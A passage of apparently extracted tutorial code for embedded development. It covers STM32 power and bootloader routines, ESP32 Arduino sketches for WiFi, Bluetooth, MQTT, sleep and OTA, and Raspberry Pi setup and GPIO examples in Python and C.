HAL_PWR_EnterSTOPMode(PWR_LOWPOWERREGULATOR_ON, PWR_STOPENTRY_WFI);

/* Enter Standby mode */
HAL_PWR_EnterSTANDBYMode();

/* Enter Sleep mode */
HAL_PWR_EnterSLEEPMode(PWR_MAINREGULATOR_ON, PWR_SLEEPENTRY_WFI);

/* Jump to bootloader (system memory) */
void JumpToBootloader(void) {
    void (*SysMemBootJump)(void);

    /* Set bootloader address (STM32F1: 0x1FFFF000) */
    volatile uint32_t addr = 0x1FFFF000;

    /* Disable interrupts */
    __disable_irq();

    /* Remap system memory to 0x00000000 */
    __HAL_RCC_SYSCFG_CLK_ENABLE();
    __HAL_SYSCFG_REMAPMEMORY_SYSTEMFLASH();

    /* Set jump address */
    SysMemBootJump = (void (*)(void)) (*((uint32_t *)(addr + 4)));

    /* Set main stack pointer */
    __set_MSP(*(uint32_t *)addr);

    /* Jump */
    SysMemBootJump();

    while (1);
}

# Check ST-LINK connection
st-info --probe

# Reset ST-LINK
st-flash reset

# Update ST-LINK firmware
# Use STM32 ST-LINK Utility

// Enable semi-hosting or retarget _write()
int _write(int file, char *ptr, int len) {
    HAL_UART_Transmit(&huart1, (uint8_t*)ptr, len, HAL_MAX_DELAY);
    return len;
}

                    ESP32 DevKit
                ┌─────────────────┐
                │      USB        │
                ├─────────────────┤
    3V3    [ ]──┤3V3           D23├──[ ] MOSI
    EN     [ ]──┤EN            D22├──[ ] SCL (I2C)
    VP/36  [ ]──┤VP/A0         TX0├──[ ] TX
    VN/39  [ ]──┤VN/A3         RX0├──[ ] RX
    D34    [ ]──┤34/A6         D21├──[ ] SDA (I2C)
    D35    [ ]──┤35/A7         GND├──[ ] GND
    D32    [ ]──┤32/A4         D19├──[ ] MISO
    D33    [ ]──┤33/A5         D18├──[ ] SCK
    D25    [ ]──┤25/A18        D5 ├──[ ] SS
    D26    [ ]──┤26/A19        D17├──[ ] TX2
    D27    [ ]──┤27/A17        D16├──[ ] RX2
    D14    [ ]──┤14/A16        D4 ├──[ ]
    D12    [ ]──┤12/A15        D0 ├──[ ] (Boot)
    GND    [ ]──┤GND           D2 ├──[ ] (LED)
    D13    [ ]──┤13/A14        D15├──[ ]
    D9     [ ]──┤9/SD2          D8├──[ ] SD1
    D10    [ ]──┤10/SD3         D7├──[ ] SD0
    D11    [ ]──┤11/CMD         D6├──[ ] SCK
    VIN    [ ]──┤VIN            5V├──[ ] 5V
                └─────────────────┘

Note: Pins 6-11 connected to flash (avoid using)
      Pins with boot/strapping modes: 0, 2, 5, 12, 15

# 1. Install Arduino IDE from arduino.cc

# 2. Add ESP32 Board Manager URL:
# File > Preferences > Additional Board Manager URLs
# Add: https://raw.githubusercontent.com/espressif/arduino-esp32/gh-pages/package_esp32_index.json

# 3. Install ESP32 boards:
# Tools > Board > Boards Manager > Search "ESP32" > Install

# 4. Select your board:
# Tools > Board > ESP32 Arduino > ESP32 Dev Module

# Clone ESP-IDF
git clone --recursive https://github.com/espressif/esp-idf.git
cd esp-idf

# Install (Linux/Mac)
./install.sh

# Set up environment (run in each terminal session)
. ./export.sh

# Or add to ~/.bashrc:
alias get_idf='. $HOME/esp/esp-idf/export.sh'

# Create new project
idf.py create-project myproject
cd myproject

# Configure
idf.py menuconfig

# Build
idf.py build

# Flash
idf.py -p /dev/ttyUSB0 flash

# Monitor serial output
idf.py -p /dev/ttyUSB0 monitor

# Install PlatformIO
pip install platformio

# Create ESP32 project
pio init --board esp32dev

# Build and upload
pio run --target upload

# Serial monitor
pio device monitor

#define LED_PIN 2

void setup() {
    pinMode(LED_PIN, OUTPUT);
}

void loop() {
    digitalWrite(LED_PIN, HIGH);
    delay(1000);
    digitalWrite(LED_PIN, LOW);
    delay(1000);
}

TaskHandle_t Task1;
TaskHandle_t Task2;

void setup() {
    Serial.begin(115200);

    // Create task for core 0
    xTaskCreatePinnedToCore(
        Task1code,   // Function
        "Task1",     // Name
        10000,       // Stack size
        NULL,        // Parameters
        1,           // Priority
        &Task1,      // Task handle
        0            // Core ID
    );

    // Create task for core 1
    xTaskCreatePinnedToCore(
        Task2code,
        "Task2",
        10000,
        NULL,
        1,
        &Task2,
        1
    );
}

void Task1code(void * parameter) {
    while(1) {
        Serial.print("Task 1 running on core ");
        Serial.println(xPortGetCoreID());
        delay(1000);
    }
}

void Task2code(void * parameter) {
    while(1) {
        Serial.print("Task 2 running on core ");
        Serial.println(xPortGetCoreID());
        delay(500);
    }
}

void loop() {
    // Empty - tasks handle everything
}

const int TOUCH_PIN = 4;  // T0
const int THRESHOLD = 40;

void setup() {
    Serial.begin(115200);
}

void loop() {
    int touchValue = touchRead(TOUCH_PIN);
    Serial.println(touchValue);

    if (touchValue < THRESHOLD) {
        Serial.println("Touch detected!");
    }

    delay(500);
}

void setup() {
    Serial.begin(115200);
}

void loop() {
    // Read built-in Hall effect sensor
    int hallValue = hallRead();
    Serial.print("Hall Sensor: ");
    Serial.println(hallValue);

    delay(500);
}

#include <WiFi.h>

const char* ssid = "YourSSID";
const char* password = "YourPassword";

void setup() {
    Serial.begin(115200);

    // Connect to WiFi
    WiFi.begin(ssid, password);
    Serial.print("Connecting to WiFi");

    while (WiFi.status() != WL_CONNECTED) {
        delay(500);
        Serial.print(".");
    }

    Serial.println("\nConnected!");
    Serial.print("IP Address: ");
    Serial.println(WiFi.localIP());
    Serial.print("MAC Address: ");
    Serial.println(WiFi.macAddress());
    Serial.print("Signal Strength (RSSI): ");
    Serial.print(WiFi.RSSI());
    Serial.println(" dBm");
}

void loop() {
    // Check connection
    if (WiFi.status() != WL_CONNECTED) {
        Serial.println("WiFi disconnected!");
        WiFi.reconnect();
    }

    delay(10000);
}

#include <WiFi.h>

const char* ssid = "ESP32-AP";
const char* password = "12345678";  // Minimum 8 characters

void setup() {
    Serial.begin(115200);

    // Start Access Point
    WiFi.softAP(ssid, password);

    IPAddress IP = WiFi.softAPIP();
    Serial.print("AP IP address: ");
    Serial.println(IP);
}

void loop() {
    // Print number of connected stations
    Serial.print("Stations connected: ");
    Serial.println(WiFi.softAPgetStationNum());

    delay(5000);
}

#include <WiFi.h>
#include <WebServer.h>

const char* ssid = "YourSSID";
const char* password = "YourPassword";

WebServer server(80);

const int LED_PIN = 2;
bool ledState = false;

void handleRoot() {
    String html = "<html><body>";
    html += "<h1>ESP32 Web Server</h1>";
    html += "<p>LED is: " + String(ledState ? "ON" : "OFF") + "</p>";
    html += "<p><a href=\"/led/on\"><button>Turn ON</button></a></p>";
    html += "<p><a href=\"/led/off\"><button>Turn OFF</button></a></p>";
    html += "</body></html>";

    server.send(200, "text/html", html);
}

void handleLEDOn() {
    ledState = true;
    digitalWrite(LED_PIN, HIGH);
    server.sendHeader("Location", "/");
    server.send(303);
}

void handleLEDOff() {
    ledState = false;
    digitalWrite(LED_PIN, LOW);
    server.sendHeader("Location", "/");
    server.send(303);
}

void setup() {
    Serial.begin(115200);
    pinMode(LED_PIN, OUTPUT);

    // Connect to WiFi
    WiFi.begin(ssid, password);
    while (WiFi.status() != WL_CONNECTED) {
        delay(500);
        Serial.print(".");
    }

    Serial.println("\nConnected!");
    Serial.print("IP: ");
    Serial.println(WiFi.localIP());

    // Setup server routes
    server.on("/", handleRoot);
    server.on("/led/on", handleLEDOn);
    server.on("/led/off", handleLEDOff);

    server.begin();
    Serial.println("Web server started");
}

void loop() {
    server.handleClient();
}

#include <WiFi.h>
#include <HTTPClient.h>

const char* ssid = "YourSSID";
const char* password = "YourPassword";

void setup() {
    Serial.begin(115200);

    WiFi.begin(ssid, password);
    while (WiFi.status() != WL_CONNECTED) {
        delay(500);
        Serial.print(".");
    }
    Serial.println("\nConnected!");
}

void loop() {
    if (WiFi.status() == WL_CONNECTED) {
        HTTPClient http;

        http.begin("http://api.github.com/users/octocat");
        int httpCode = http.GET();

        if (httpCode > 0) {
            Serial.printf("HTTP Code: %d\n", httpCode);

            if (httpCode == HTTP_CODE_OK) {
                String payload = http.getString();
                Serial.println(payload);
            }
        } else {
            Serial.printf("Error: %s\n", http.errorToString(httpCode).c_str());
        }

        http.end();
    }

    delay(10000);
}

#include <WiFi.h>

void setup() {
    Serial.begin(115200);
    WiFi.mode(WIFI_STA);
    WiFi.disconnect();
    delay(100);
}

void loop() {
    Serial.println("Scanning WiFi networks...");
    int n = WiFi.scanNetworks();

    if (n == 0) {
        Serial.println("No networks found");
    } else {
        Serial.printf("%d networks found:\n", n);

        for (int i = 0; i < n; i++) {
            Serial.printf("%d: %s (%d dBm) %s\n",
                i + 1,
                WiFi.SSID(i).c_str(),
                WiFi.RSSI(i),
                WiFi.encryptionType(i) == WIFI_AUTH_OPEN ? "Open" : "Encrypted"
            );
        }
    }

    delay(5000);
}

#include <WiFi.h>
#include <PubSubClient.h>

const char* ssid = "YourSSID";
const char* password = "YourPassword";
const char* mqtt_server = "broker.hivemq.com";

WiFiClient espClient;
PubSubClient client(espClient);

void callback(char* topic, byte* payload, unsigned int length) {
    Serial.print("Message arrived [");
    Serial.print(topic);
    Serial.print("]: ");

    for (int i = 0; i < length; i++) {
        Serial.print((char)payload[i]);
    }
    Serial.println();
}

void reconnect() {
    while (!client.connected()) {
        Serial.print("Attempting MQTT connection...");

        if (client.connect("ESP32Client")) {
            Serial.println("connected");
            client.subscribe("esp32/test");
        } else {
            Serial.print("failed, rc=");
            Serial.print(client.state());
            Serial.println(" retrying in 5 seconds");
            delay(5000);
        }
    }
}

void setup() {
    Serial.begin(115200);

    WiFi.begin(ssid, password);
    while (WiFi.status() != WL_CONNECTED) {
        delay(500);
        Serial.print(".");
    }
    Serial.println("\nWiFi connected");

    client.setServer(mqtt_server, 1883);
    client.setCallback(callback);
}

void loop() {
    if (!client.connected()) {
        reconnect();
    }
    client.loop();

    // Publish message every 10 seconds
    static unsigned long lastMsg = 0;
    unsigned long now = millis();

    if (now - lastMsg > 10000) {
        lastMsg = now;

        char msg[50];
        snprintf(msg, 50, "Hello from ESP32 #%lu", millis());
        client.publish("esp32/test", msg);
    }
}

#include <BluetoothSerial.h>

BluetoothSerial SerialBT;

void setup() {
    Serial.begin(115200);
    SerialBT.begin("ESP32-BT");  // Bluetooth device name
    Serial.println("Bluetooth Started! Pair with 'ESP32-BT'");
}

void loop() {
    // Forward from Serial to Bluetooth
    if (Serial.available()) {
        SerialBT.write(Serial.read());
    }

    // Forward from Bluetooth to Serial
    if (SerialBT.available()) {
        Serial.write(SerialBT.read());
    }
}

#include <BLEDevice.h>
#include <BLEServer.h>
#include <BLEUtils.h>
#include <BLE2902.h>

BLEServer* pServer = NULL;
BLECharacteristic* pCharacteristic = NULL;
bool deviceConnected = false;
uint32_t value = 0;

#define SERVICE_UUID        "4fafc201-1fb5-459e-8fcc-c5c9c331914b"
#define CHARACTERISTIC_UUID "beb5483e-36e1-4688-b7f5-ea07361b26a8"

class MyServerCallbacks: public BLEServerCallbacks {
    void onConnect(BLEServer* pServer) {
        deviceConnected = true;
        Serial.println("Device connected");
    }

    void onDisconnect(BLEServer* pServer) {
        deviceConnected = false;
        Serial.println("Device disconnected");
    }
};

void setup() {
    Serial.begin(115200);

    // Create BLE Device
    BLEDevice::init("ESP32-BLE");

    // Create BLE Server
    pServer = BLEDevice::createServer();
    pServer->setCallbacks(new MyServerCallbacks());

    // Create BLE Service
    BLEService *pService = pServer->createService(SERVICE_UUID);

    // Create BLE Characteristic
    pCharacteristic = pService->createCharacteristic(
        CHARACTERISTIC_UUID,
        BLECharacteristic::PROPERTY_READ |
        BLECharacteristic::PROPERTY_WRITE |
        BLECharacteristic::PROPERTY_NOTIFY
    );

    pCharacteristic->addDescriptor(new BLE2902());

    // Start service
    pService->start();

    // Start advertising
    BLEAdvertising *pAdvertising = BLEDevice::getAdvertising();
    pAdvertising->addServiceUUID(SERVICE_UUID);
    pAdvertising->start();

    Serial.println("BLE Server started. Waiting for connections...");
}

void loop() {
    if (deviceConnected) {
        // Update and notify characteristic
        pCharacteristic->setValue((uint8_t*)&value, 4);
        pCharacteristic->notify();
        value++;
        delay(1000);
    }
}

#include <BLEDevice.h>
#include <BLEUtils.h>
#include <BLEScan.h>
#include <BLEAdvertisedDevice.h>

BLEScan* pBLEScan;

class MyAdvertisedDeviceCallbacks: public BLEAdvertisedDeviceCallbacks {
    void onResult(BLEAdvertisedDevice advertisedDevice) {
        Serial.printf("Found device: %s\n", advertisedDevice.toString().c_str());
    }
};

void setup() {
    Serial.begin(115200);
    Serial.println("Starting BLE scan...");

    BLEDevice::init("");
    pBLEScan = BLEDevice::getScan();
    pBLEScan->setAdvertisedDeviceCallbacks(new MyAdvertisedDeviceCallbacks());
    pBLEScan->setActiveScan(true);
}

void loop() {
    BLEScanResults foundDevices = pBLEScan->start(5, false);
    Serial.printf("Devices found: %d\n", foundDevices.getCount());
    pBLEScan->clearResults();
    delay(2000);
}

#define uS_TO_S_FACTOR 1000000  // Conversion factor for microseconds to seconds
#define TIME_TO_SLEEP  30       // Sleep for 30 seconds

RTC_DATA_ATTR int bootCount = 0;  // Preserved in RTC memory

void setup() {
    Serial.begin(115200);
    delay(1000);

    bootCount++;
    Serial.println("Boot number: " + String(bootCount));

    // Configure wake-up sources
    esp_sleep_enable_timer_wakeup(TIME_TO_SLEEP * uS_TO_S_FACTOR);

    // GPIO wake-up
    esp_sleep_enable_ext0_wakeup(GPIO_NUM_33, 1);  // Wake on HIGH

    Serial.println("Going to sleep for " + String(TIME_TO_SLEEP) + " seconds");
    Serial.flush();

    esp_deep_sleep_start();
}

void loop() {
    // Never reached
}

#define THRESHOLD 40

void setup() {
    Serial.begin(115200);
    delay(1000);

    // Configure touch wake-up
    touchAttachInterrupt(T0, callback, THRESHOLD);

    esp_sleep_enable_touchpad_wakeup();

    Serial.println("Going to sleep. Touch GPIO 4 to wake up.");
    delay(1000);

    esp_deep_sleep_start();
}

void callback() {
    // Empty
}

void loop() {
    // Never reached
}

#include <esp_adc_cal.h>

#define ADC_PIN 34
#define DEFAULT_VREF 1100

esp_adc_cal_characteristics_t *adc_chars;

void setup() {
    Serial.begin(115200);

    // Configure ADC
    adc1_config_width(ADC_WIDTH_BIT_12);
    adc1_config_channel_atten(ADC1_CHANNEL_6, ADC_ATTEN_DB_11);

    // Characterize ADC
    adc_chars = (esp_adc_cal_characteristics_t*)calloc(1, sizeof(esp_adc_cal_characteristics_t));
    esp_adc_cal_characterize(ADC_UNIT_1, ADC_ATTEN_DB_11, ADC_WIDTH_BIT_12, DEFAULT_VREF, adc_chars);
}

void loop() {
    uint32_t adc_reading = 0;

    // Multisampling
    for (int i = 0; i < 64; i++) {
        adc_reading += adc1_get_raw(ADC1_CHANNEL_6);
    }
    adc_reading /= 64;

    // Convert to voltage
    uint32_t voltage = esp_adc_cal_raw_to_voltage(adc_reading, adc_chars);

    Serial.printf("Raw: %d, Voltage: %d mV\n", adc_reading, voltage);

    delay(1000);
}

#include <WiFi.h>
#include <ESPmDNS.h>
#include <WiFiUdp.h>
#include <ArduinoOTA.h>

const char* ssid = "YourSSID";
const char* password = "YourPassword";

void setup() {
    Serial.begin(115200);

    WiFi.begin(ssid, password);
    while (WiFi.status() != WL_CONNECTED) {
        delay(500);
        Serial.print(".");
    }

    Serial.println("\nWiFi connected");
    Serial.println(WiFi.localIP());

    // Setup OTA
    ArduinoOTA.setHostname("esp32");
    ArduinoOTA.setPassword("admin");

    ArduinoOTA.onStart([]() {
        String type = (ArduinoOTA.getCommand() == U_FLASH) ? "sketch" : "filesystem";
        Serial.println("Start updating " + type);
    });

    ArduinoOTA.onEnd([]() {
        Serial.println("\nEnd");
    });

    ArduinoOTA.onProgress([](unsigned int progress, unsigned int total) {
        Serial.printf("Progress: %u%%\r", (progress / (total / 100)));
    });

    ArduinoOTA.onError([](ota_error_t error) {
        Serial.printf("Error[%u]: ", error);
        if (error == OTA_AUTH_ERROR) Serial.println("Auth Failed");
        else if (error == OTA_BEGIN_ERROR) Serial.println("Begin Failed");
        else if (error == OTA_CONNECT_ERROR) Serial.println("Connect Failed");
        else if (error == OTA_RECEIVE_ERROR) Serial.println("Receive Failed");
        else if (error == OTA_END_ERROR) Serial.println("End Failed");
    });

    ArduinoOTA.begin();
    Serial.println("OTA Ready");
}

void loop() {
    ArduinoOTA.handle();
}

#include <WiFi.h>
#include <HTTPClient.h>
#include <DHT.h>

#define DHTPIN 4
#define DHTTYPE DHT11

DHT dht(DHTPIN, DHTTYPE);

const char* ssid = "YourSSID";
const char* password = "YourPassword";
const char* server = "http://api.thingspeak.com/update";
const char* apiKey = "YOUR_API_KEY";

void setup() {
    Serial.begin(115200);
    dht.begin();

    WiFi.begin(ssid, password);
    while (WiFi.status() != WL_CONNECTED) {
        delay(500);
        Serial.print(".");
    }
    Serial.println("\nConnected!");
}

void loop() {
    float temp = dht.readTemperature();
    float humidity = dht.readHumidity();

    if (isnan(temp) || isnan(humidity)) {
        Serial.println("Failed to read sensor!");
        delay(2000);
        return;
    }

    Serial.printf("Temp: %.1f°C, Humidity: %.1f%%\n", temp, humidity);

    // Send to ThingSpeak
    if (WiFi.status() == WL_CONNECTED) {
        HTTPClient http;

        String url = String(server) + "?api_key=" + apiKey +
                     "&field1=" + String(temp) +
                     "&field2=" + String(humidity);

        http.begin(url);
        int httpCode = http.GET();

        if (httpCode > 0) {
            Serial.println("Data sent successfully");
        } else {
            Serial.println("Error sending data");
        }

        http.end();
    }

    delay(20000);  // ThingSpeak requires 15 second minimum
}

#include <BluetoothSerial.h>

BluetoothSerial SerialBT;

const int RED_PIN = 25;
const int GREEN_PIN = 26;
const int BLUE_PIN = 27;

void setup() {
    Serial.begin(115200);
    SerialBT.begin("ESP32-RGB");

    pinMode(RED_PIN, OUTPUT);
    pinMode(GREEN_PIN, OUTPUT);
    pinMode(BLUE_PIN, OUTPUT);

    Serial.println("Bluetooth RGB Controller Ready");
}

void loop() {
    if (SerialBT.available()) {
        String command = SerialBT.readStringUntil('\n');
        command.trim();

        if (command.startsWith("RGB")) {
            // Format: RGB,255,128,64
            int comma1 = command.indexOf(',');
            int comma2 = command.indexOf(',', comma1 + 1);
            int comma3 = command.indexOf(',', comma2 + 1);

            int r = command.substring(comma1 + 1, comma2).toInt();
            int g = command.substring(comma2 + 1, comma3).toInt();
            int b = command.substring(comma3 + 1).toInt();

            analogWrite(RED_PIN, r);
            analogWrite(GREEN_PIN, g);
            analogWrite(BLUE_PIN, b);

            SerialBT.printf("Set RGB to %d,%d,%d\n", r, g, b);
        } else if (command == "OFF") {
            analogWrite(RED_PIN, 0);
            analogWrite(GREEN_PIN, 0);
            analogWrite(BLUE_PIN, 0);
            SerialBT.println("LEDs OFF");
        }
    }
}

#include <WiFi.h>
#include <WebServer.h>
#include <DHT.h>

#define DHTPIN 4
#define DHTTYPE DHT11
#define RELAY_PIN 26

DHT dht(DHTPIN, DHTTYPE);
WebServer server(80);

const char* ssid = "YourSSID";
const char* password = "YourPassword";

float targetTemp = 25.0;
bool heatingOn = false;

void handleRoot() {
    float temp = dht.readTemperature();
    float humidity = dht.readHumidity();

    String html = "<!DOCTYPE html><html><head>";
    html += "<meta name='viewport' content='width=device-width, initial-scale=1'>";
    html += "<style>body{font-family:Arial;text-align:center;margin:20px;}";
    html += ".button{padding:15px;margin:10px;font-size:20px;}</style></head>";
    html += "<body><h1>Smart Thermostat</h1>";
    html += "<p>Current: " + String(temp, 1) + "°C</p>";
    html += "<p>Humidity: " + String(humidity, 1) + "%</p>";
    html += "<p>Target: " + String(targetTemp, 1) + "°C</p>";
    html += "<p>Heating: " + String(heatingOn ? "ON" : "OFF") + "</p>";
    html += "<a href='/increase'><button class='button'>+1°C</button></a>";
    html += "<a href='/decrease'><button class='button'>-1°C</button></a>";
    html += "</body></html>";

    server.send(200, "text/html", html);
}

void handleIncrease() {
    targetTemp += 1.0;
    server.sendHeader("Location", "/");
    server.send(303);
}

void handleDecrease() {
    targetTemp -= 1.0;
    server.sendHeader("Location", "/");
    server.send(303);
}

void setup() {
    Serial.begin(115200);
    dht.begin();
    pinMode(RELAY_PIN, OUTPUT);

    WiFi.begin(ssid, password);
    while (WiFi.status() != WL_CONNECTED) {
        delay(500);
    }

    Serial.println("\nConnected!");
    Serial.println(WiFi.localIP());

    server.on("/", handleRoot);
    server.on("/increase", handleIncrease);
    server.on("/decrease", handleDecrease);
    server.begin();
}

void loop() {
    server.handleClient();

    static unsigned long lastCheck = 0;
    if (millis() - lastCheck > 5000) {
        lastCheck = millis();

        float temp = dht.readTemperature();

        if (!isnan(temp)) {
            if (temp < targetTemp - 0.5) {
                heatingOn = true;
                digitalWrite(RELAY_PIN, HIGH);
            } else if (temp > targetTemp + 0.5) {
                heatingOn = false;
                digitalWrite(RELAY_PIN, LOW);
            }
        }
    }
}

┌────────────────────────────────────────────────────────┐
│  USB-C Power                        ┌──────────────┐  │
│     ┌─┐                             │   Ethernet   │  │
│     └─┘                             │   Port       │  │
│                                     └──────────────┘  │
│  ┌────────┐  ┌────────┐                              │
│  │  USB   │  │  USB   │  ┌──────────────┐           │
│  │  2.0   │  │  3.0   │  │   Dual HDMI  │           │
│  └────────┘  └────────┘  └──────────────┘           │
│                                                        │
│  ┌────────────────────┐         ┌──────┐            │
│  │   BCM2711 SoC      │         │Audio │            │
│  │   Quad Cortex-A72  │         │Jack  │            │
│  └────────────────────┘         └──────┘            │
│                                                        │
│  ┌──────────────┐  ┌────────────────────────────┐   │
│  │   Micro SD   │  │     40-pin GPIO Header     │   │
│  │   Card Slot  │  │                            │   │
│  └──────────────┘  └────────────────────────────┘   │
│                                                        │
│  [CSI Camera]           [DSI Display]                 │
└────────────────────────────────────────────────────────┘

           3V3  (1)  (2)  5V
     GPIO 2/SDA  (3)  (4)  5V
     GPIO 3/SCL  (5)  (6)  GND
         GPIO 4  (7)  (8)  GPIO 14/TXD
            GND  (9) (10)  GPIO 15/RXD
        GPIO 17 (11) (12)  GPIO 18/PWM
        GPIO 27 (13) (14)  GND
        GPIO 22 (15) (16)  GPIO 23
           3V3 (17) (18)  GPIO 24
  GPIO 10/MOSI (19) (20)  GND
   GPIO 9/MISO (21) (22)  GPIO 25
  GPIO 11/SCLK (23) (24)  GPIO 8/CE0
            GND (25) (26)  GPIO 7/CE1
        GPIO 0  (27) (28)  GPIO 1
        GPIO 5  (29) (30)  GND
        GPIO 6  (31) (32)  GPIO 12/PWM
   GPIO 13/PWM (33) (34)  GND
   GPIO 19/PWM (35) (36)  GPIO 16
        GPIO 26 (37) (38)  GPIO 20
            GND (39) (40)  GPIO 21

Power Pins: 3.3V (17mA max per pin), 5V (from USB)
PWM: GPIO 12, 13, 18, 19
SPI0: MOSI(10), MISO(9), SCLK(11), CE0(8), CE1(7)
I2C1: SDA(2), SCL(3)
UART: TXD(14), RXD(15)

# Download Raspberry Pi Imager
# For Ubuntu/Debian:
sudo apt install rpi-imager

# For other systems, download from:
# https://www.raspberrypi.com/software/

# Using Raspberry Pi Imager (GUI):
# 1. Choose OS: Raspberry Pi OS (32-bit/64-bit)
# 2. Choose SD card
# 3. Click "Write"

# Or using command line (Linux):
sudo dd if=2023-05-03-raspios-bullseye-armhf.img of=/dev/sdX bs=4M status=progress
sync

# Create empty 'ssh' file in boot partition
touch /media/username/boot/ssh

# Configure WiFi (optional)
cat > /media/username/boot/wpa_supplicant.conf << EOF
country=US
ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev
update_config=1

network={
    ssid="YourNetworkName"
    psk="YourPassword"
    key_mgmt=WPA-PSK
}
EOF

# Find your Pi on the network
ping raspberrypi.local

# Or use nmap to scan network
nmap -sn 192.168.1.0/24

# SSH into your Pi (default password: raspberry)
ssh pi@raspberrypi.local

# Run configuration tool
sudo raspi-config

# Essential configurations:
# 1. Change password (System Options -> Password)
# 2. Configure WiFi (System Options -> Wireless LAN)
# 3. Enable interfaces (Interface Options -> SSH, SPI, I2C, etc.)
# 4. Expand filesystem (Advanced Options -> Expand Filesystem)
# 5. Update system (Advanced Options -> Update)

# Update package list
sudo apt update

# Upgrade all packages
sudo apt full-upgrade -y

# Install essential tools
sudo apt install -y vim git python3-pip python3-dev build-essential

# Update firmware (optional)
sudo rpi-update

# Reboot
sudo reboot

# Search for packages
apt search <package-name>

# Install package
sudo apt install <package-name>

# Remove package
sudo apt remove <package-name>

# Clean up
sudo apt autoremove
sudo apt clean

BOARD Pin 11 = BCM GPIO 17
BOARD Pin 12 = BCM GPIO 18

Digital I/O:    All GPIO pins
PWM (Hardware): GPIO 12, 13, 18, 19 (4 channels)
PWM (Software): All GPIO pins
SPI:            GPIO 7-11 (SPI0), GPIO 16-21 (SPI1)
I2C:            GPIO 2-3 (I2C1), GPIO 0-1 (I2C0)
UART:           GPIO 14-15 (UART0)

# Install RPi.GPIO (traditional library)
sudo apt install python3-rpi.gpio

# Install gpiozero (modern, easier library)
sudo apt install python3-gpiozero

# Install pigpio (advanced features, better PWM)
sudo apt install python3-pigpio
sudo systemctl enable pigpiod
sudo systemctl start pigpiod

import RPi.GPIO as GPIO
import time

# Set GPIO mode (BCM or BOARD)
GPIO.setmode(GPIO.BCM)

# Set GPIO warnings
GPIO.setwarnings(False)

# Define LED pin
LED_PIN = 17

# Setup pin as output
GPIO.setup(LED_PIN, GPIO.OUT)

# Turn LED on
GPIO.output(LED_PIN, GPIO.HIGH)
time.sleep(1)

# Turn LED off
GPIO.output(LED_PIN, GPIO.LOW)

# Clean up
GPIO.cleanup()

import RPi.GPIO as GPIO
import time

GPIO.setmode(GPIO.BCM)
LED_PIN = 17
GPIO.setup(LED_PIN, GPIO.OUT)

try:
    while True:
        GPIO.output(LED_PIN, GPIO.HIGH)
        time.sleep(0.5)
        GPIO.output(LED_PIN, GPIO.LOW)
        time.sleep(0.5)
except KeyboardInterrupt:
    GPIO.cleanup()

import RPi.GPIO as GPIO
import time

GPIO.setmode(GPIO.BCM)

BUTTON_PIN = 27
LED_PIN = 17

# Setup button with pull-up resistor
GPIO.setup(BUTTON_PIN, GPIO.IN, pull_up_down=GPIO.PUD_UP)
GPIO.setup(LED_PIN, GPIO.OUT)

try:
    while True:
        # Button pressed when LOW (pull-up resistor)
        if GPIO.input(BUTTON_PIN) == GPIO.LOW:
            GPIO.output(LED_PIN, GPIO.HIGH)
            print("Button pressed!")
        else:
            GPIO.output(LED_PIN, GPIO.LOW)
        time.sleep(0.1)
except KeyboardInterrupt:
    GPIO.cleanup()

import RPi.GPIO as GPIO
import time

GPIO.setmode(GPIO.BCM)
BUTTON_PIN = 27
LED_PIN = 17

GPIO.setup(BUTTON_PIN, GPIO.IN, pull_up_down=GPIO.PUD_UP)
GPIO.setup(LED_PIN, GPIO.OUT)

led_state = False

def button_callback(channel):
    global led_state
    led_state = not led_state
    GPIO.output(LED_PIN, led_state)
    print(f"LED {'ON' if led_state else 'OFF'}")

# Add event detection
GPIO.add_event_detect(BUTTON_PIN, GPIO.FALLING,
                     callback=button_callback,
                     bouncetime=200)

try:
    print("Press button to toggle LED. Ctrl+C to exit.")
    while True:
        time.sleep(1)
except KeyboardInterrupt:
    GPIO.cleanup()

import RPi.GPIO as GPIO
import time

GPIO.setmode(GPIO.BCM)
LED_PIN = 18  # Use hardware PWM pin

GPIO.setup(LED_PIN, GPIO.OUT)

# Create PWM instance (pin, frequency_hz)
pwm = GPIO.PWM(LED_PIN, 1000)

# Start PWM with 0% duty cycle
pwm.start(0)

try:
    while True:
        # Fade in
        for duty in range(0, 101, 5):
            pwm.ChangeDutyCycle(duty)
            time.sleep(0.05)

        # Fade out
        for duty in range(100, -1, -5):
            pwm.ChangeDutyCycle(duty)
            time.sleep(0.05)
except KeyboardInterrupt:
    pwm.stop()
    GPIO.cleanup()

from gpiozero import LED
from time import sleep

led = LED(17)

# Simple on/off
led.on()
sleep(1)
led.off()

# Blinking
led.blink(on_time=1, off_time=1)

# Keep program running
sleep(10)

from gpiozero import LED, Button
from signal import pause

led = LED(17)
button = Button(27)

# Simple callback
button.when_pressed = led.on
button.when_released = led.off

pause()  # Keep program running

from gpiozero import PWMLED
from time import sleep

led = PWMLED(18)

# Pulse LED
led.pulse(fade_in_time=1, fade_out_time=1)

sleep(10)

from gpiozero import LED, Button, Buzzer
from signal import pause

red_led = LED(17)
green_led = LED(27)
button = Button(22)
buzzer = Buzzer(23)

def button_pressed():
    red_led.off()
    green_led.on()
    buzzer.beep(on_time=0.1, off_time=0.1, n=3)

def button_released():
    green_led.off()
    red_led.on()

button.when_pressed = button_pressed
button.when_released = button_released

red_led.on()  # Initial state
pause()

import pigpio
import time

# Connect to pigpio daemon
pi = pigpio.pi()

LED_PIN = 18

# Set PWM (0-255)
pi.set_PWM_dutycycle(LED_PIN, 128)  # 50% brightness

# Fade LED
for i in range(256):
    pi.set_PWM_dutycycle(LED_PIN, i)
    time.sleep(0.01)

# Servo control (500-2500 microseconds)
SERVO_PIN = 12
pi.set_servo_pulsewidth(SERVO_PIN, 1500)  # Center position

# Clean up
pi.stop()

# Install WiringPi
sudo apt install wiringpi

# Verify installation
gpio -v
gpio readall

#include <wiringPi.h>
#include <stdio.h>

#define LED_PIN 0  // WiringPi pin 0 = BCM GPIO 17

int main(void) {
    // Initialize wiringPi
    if (wiringPiSetup() == -1) {
        printf("Setup failed!\n");
        return 1;
    }

    // Set pin as output
    pinMode(LED_PIN, OUTPUT);

    // Blink LED
    for (int i = 0; i < 10; i++) {
        digitalWrite(LED_PIN, HIGH);
        delay(500);
        digitalWrite(LED_PIN, LOW);
        delay(500);
    }

    return 0;
}

gcc -o led led.c -lwiringPi
sudo ./led

#include <wiringPi.h>
#include <stdio.h>

#define BUTTON_PIN 2  // WiringPi pin 2 = BCM GPIO 27
#define LED_PIN 0

int main(void) {
    wiringPiSetup();

    pinMode(BUTTON_PIN, INPUT);
